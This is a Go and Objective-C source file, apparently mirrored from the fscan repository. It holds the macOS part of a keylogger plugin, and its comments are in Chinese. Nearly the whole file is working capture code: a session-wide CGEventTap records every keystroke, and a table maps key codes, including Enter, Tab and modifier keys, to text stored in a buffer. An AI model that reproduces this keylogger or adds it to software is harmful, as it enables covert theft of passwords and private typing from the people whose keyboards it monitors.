mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
289 lines
7.3 KiB
Go
289 lines
7.3 KiB
Go
// +build darwin
|
||
|
||
package keylogger
|
||
|
||
/*
|
||
#cgo CFLAGS: -x objective-c
|
||
#cgo LDFLAGS: -framework Cocoa -framework Carbon -framework ApplicationServices
|
||
|
||
#import <Cocoa/Cocoa.h>
|
||
#import <Carbon/Carbon.h>
|
||
#import <ApplicationServices/ApplicationServices.h>
|
||
|
||
// 键盘事件回调函数
|
||
CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon);
|
||
|
||
// 启动事件监听
|
||
int startEventMonitoring(void);
|
||
|
||
// 停止事件监听
|
||
void stopEventMonitoring(void);
|
||
|
||
// 全局变量
|
||
static CFMachPortRef eventTap = NULL;
|
||
static CFRunLoopSourceRef runLoopSource = NULL;
|
||
static bool isMonitoring = false;
|
||
|
||
// 外部回调函数(Go函数)
|
||
extern void handleKeyEvent(int keyCode, int isKeyDown);
|
||
|
||
// 键盘事件回调函数实现
|
||
CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
|
||
if (type == kCGEventKeyDown || type == kCGEventKeyUp) {
|
||
CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
||
int isKeyDown = (type == kCGEventKeyDown) ? 1 : 0;
|
||
|
||
// 调用Go函数处理键盘事件
|
||
handleKeyEvent((int)keyCode, isKeyDown);
|
||
}
|
||
|
||
// 继续传递事件
|
||
return event;
|
||
}
|
||
|
||
// 启动事件监听
|
||
int startEventMonitoring(void) {
|
||
if (isMonitoring) {
|
||
return 0; // 已经在监听
|
||
}
|
||
|
||
// 检查辅助功能权限
|
||
if (!AXIsProcessTrusted()) {
|
||
return -1; // 没有辅助功能权限
|
||
}
|
||
|
||
// 创建事件tap
|
||
eventTap = CGEventTapCreate(
|
||
kCGSessionEventTap,
|
||
kCGHeadInsertEventTap,
|
||
kCGEventTapOptionDefault,
|
||
CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp),
|
||
keyboardEventCallback,
|
||
NULL
|
||
);
|
||
|
||
if (!eventTap) {
|
||
return -2; // 创建事件tap失败
|
||
}
|
||
|
||
// 创建run loop source
|
||
runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
|
||
|
||
// 添加到当前run loop
|
||
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
||
|
||
// 启用事件tap
|
||
CGEventTapEnable(eventTap, true);
|
||
|
||
isMonitoring = true;
|
||
return 0; // 成功
|
||
}
|
||
|
||
// 停止事件监听
|
||
void stopEventMonitoring(void) {
|
||
if (!isMonitoring) {
|
||
return;
|
||
}
|
||
|
||
if (eventTap) {
|
||
CGEventTapEnable(eventTap, false);
|
||
CFRelease(eventTap);
|
||
eventTap = NULL;
|
||
}
|
||
|
||
if (runLoopSource) {
|
||
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
||
CFRelease(runLoopSource);
|
||
runLoopSource = NULL;
|
||
}
|
||
|
||
isMonitoring = false;
|
||
}
|
||
*/
|
||
import "C"
|
||
|
||
import (
|
||
"context"
|
||
"fmt"
|
||
"time"
|
||
"unsafe"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
)
|
||
|
||
var darwinKeylogger *KeyloggerPlugin
|
||
|
||
// checkDarwinRequirements 检查Darwin特定要求
|
||
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
|
||
common.LogInfo("检查macOS键盘记录权限...")
|
||
|
||
// 检查辅助功能权限
|
||
// 注意:实际运行时需要用户手动在系统偏好设置中授权
|
||
common.LogInfo("注意: macOS系统需要在'系统偏好设置 > 安全性与隐私 > 辅助功能'中授权此应用")
|
||
|
||
return nil
|
||
}
|
||
|
||
// startDarwinKeylogging 启动Darwin键盘记录
|
||
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
|
||
common.LogInfo("启动macOS键盘记录...")
|
||
|
||
// 设置全局引用
|
||
darwinKeylogger = p
|
||
|
||
// 启动事件监听
|
||
result := C.startEventMonitoring()
|
||
switch result {
|
||
case -1:
|
||
return fmt.Errorf("macOS辅助功能权限未授权,请在系统偏好设置中启用")
|
||
case -2:
|
||
return fmt.Errorf("创建键盘事件监听失败")
|
||
case 0:
|
||
common.LogInfo("macOS键盘事件监听已启动")
|
||
default:
|
||
return fmt.Errorf("启动键盘监听时发生未知错误: %d", result)
|
||
}
|
||
|
||
// 启动RunLoop来处理事件
|
||
go p.runEventLoop(ctx)
|
||
|
||
// 等待上下文取消
|
||
<-ctx.Done()
|
||
|
||
// 停止事件监听
|
||
C.stopEventMonitoring()
|
||
common.LogInfo("macOS键盘记录已停止")
|
||
|
||
return nil
|
||
}
|
||
|
||
// runEventLoop 运行事件循环
|
||
func (p *KeyloggerPlugin) runEventLoop(ctx context.Context) {
|
||
// 这里需要运行Core Foundation的RunLoop来处理事件
|
||
// 由于Go和C的交互限制,我们使用简单的循环来保持程序运行
|
||
ticker := time.NewTicker(100 * time.Millisecond)
|
||
defer ticker.Stop()
|
||
|
||
for {
|
||
select {
|
||
case <-ctx.Done():
|
||
return
|
||
case <-ticker.C:
|
||
// 保持循环运行,让C的事件处理能够工作
|
||
continue
|
||
}
|
||
}
|
||
}
|
||
|
||
// handleKeyEvent Go回调函数,由C代码调用
|
||
//export handleKeyEvent
|
||
func handleKeyEvent(keyCode C.int, isKeyDown C.int) {
|
||
if darwinKeylogger == nil {
|
||
return
|
||
}
|
||
|
||
// 只处理按键按下事件
|
||
if isKeyDown == 1 {
|
||
keyChar := getDarwinKeyChar(int(keyCode))
|
||
if keyChar != "" {
|
||
darwinKeylogger.addKeyToBuffer(keyChar)
|
||
}
|
||
}
|
||
}
|
||
|
||
// getDarwinKeyChar 获取macOS按键字符
|
||
func getDarwinKeyChar(keyCode int) string {
|
||
// macOS虚拟键码映射
|
||
keyMap := map[int]string{
|
||
0: "a", 1: "s", 2: "d", 3: "f", 4: "h", 5: "g", 6: "z", 7: "x", 8: "c", 9: "v",
|
||
11: "b", 12: "q", 13: "w", 14: "e", 15: "r", 16: "y", 17: "t",
|
||
18: "1", 19: "2", 20: "3", 21: "4", 22: "6", 23: "5", 24: "=", 25: "9", 26: "7",
|
||
27: "-", 28: "8", 29: "0", 30: "]", 31: "o", 32: "u", 33: "[", 34: "i", 35: "p",
|
||
36: "[Enter]",
|
||
37: "l", 38: "j", 39: "'", 40: "k", 41: ";", 42: "\\", 43: ",", 44: "/", 45: "n",
|
||
46: "m", 47: ".",
|
||
48: "[Tab]",
|
||
49: " ", // 空格
|
||
50: "`",
|
||
51: "[Delete]",
|
||
53: "[Esc]",
|
||
55: "[Cmd]",
|
||
56: "[Shift]",
|
||
57: "[CapsLock]",
|
||
58: "[Option]",
|
||
59: "[Ctrl]",
|
||
60: "[RShift]",
|
||
61: "[ROption]",
|
||
62: "[RCtrl]",
|
||
63: "[Fn]",
|
||
64: "[F17]",
|
||
65: "[KeypadDecimal]",
|
||
67: "[KeypadMultiply]",
|
||
69: "[KeypadPlus]",
|
||
71: "[KeypadClear]",
|
||
72: "[VolumeUp]",
|
||
73: "[VolumeDown]",
|
||
74: "[Mute]",
|
||
75: "[KeypadDivide]",
|
||
76: "[KeypadEnter]",
|
||
78: "[KeypadMinus]",
|
||
79: "[F18]",
|
||
80: "[F19]",
|
||
81: "[KeypadEquals]",
|
||
82: "[Keypad0]", 83: "[Keypad1]", 84: "[Keypad2]", 85: "[Keypad3]",
|
||
86: "[Keypad4]", 87: "[Keypad5]", 88: "[Keypad6]", 89: "[Keypad7]",
|
||
91: "[Keypad8]", 92: "[Keypad9]",
|
||
96: "[F5]",
|
||
97: "[F6]",
|
||
98: "[F7]",
|
||
99: "[F3]",
|
||
100: "[F8]",
|
||
101: "[F9]",
|
||
103: "[F11]",
|
||
105: "[F13]",
|
||
106: "[F16]",
|
||
107: "[F14]",
|
||
109: "[F10]",
|
||
111: "[F12]",
|
||
113: "[F15]",
|
||
114: "[Help]",
|
||
115: "[Home]",
|
||
116: "[PgUp]",
|
||
117: "[ForwardDelete]",
|
||
118: "[F4]",
|
||
119: "[End]",
|
||
120: "[F2]",
|
||
121: "[PgDn]",
|
||
122: "[F1]",
|
||
123: "[Left]",
|
||
124: "[Right]",
|
||
125: "[Down]",
|
||
126: "[Up]",
|
||
}
|
||
|
||
if keyName, exists := keyMap[keyCode]; exists {
|
||
return keyName
|
||
}
|
||
|
||
return fmt.Sprintf("[KEY_%d]", keyCode)
|
||
}
|
||
|
||
// checkWindowsRequirements 检查Windows特定要求(Darwin平台的空实现)
|
||
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
|
||
return fmt.Errorf("不支持的平台")
|
||
}
|
||
|
||
// checkLinuxRequirements 检查Linux特定要求(Darwin平台的空实现)
|
||
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
|
||
return fmt.Errorf("不支持的平台")
|
||
}
|
||
|
||
// startWindowsKeylogging 启动Windows键盘记录(Darwin平台的空实现)
|
||
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
|
||
return fmt.Errorf("不支持的平台")
|
||
}
|
||
|
||
// startLinuxKeylogging 启动Linux键盘记录(Darwin平台的空实现)
|
||
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
|
||
return fmt.Errorf("不支持的平台")
|
||
} |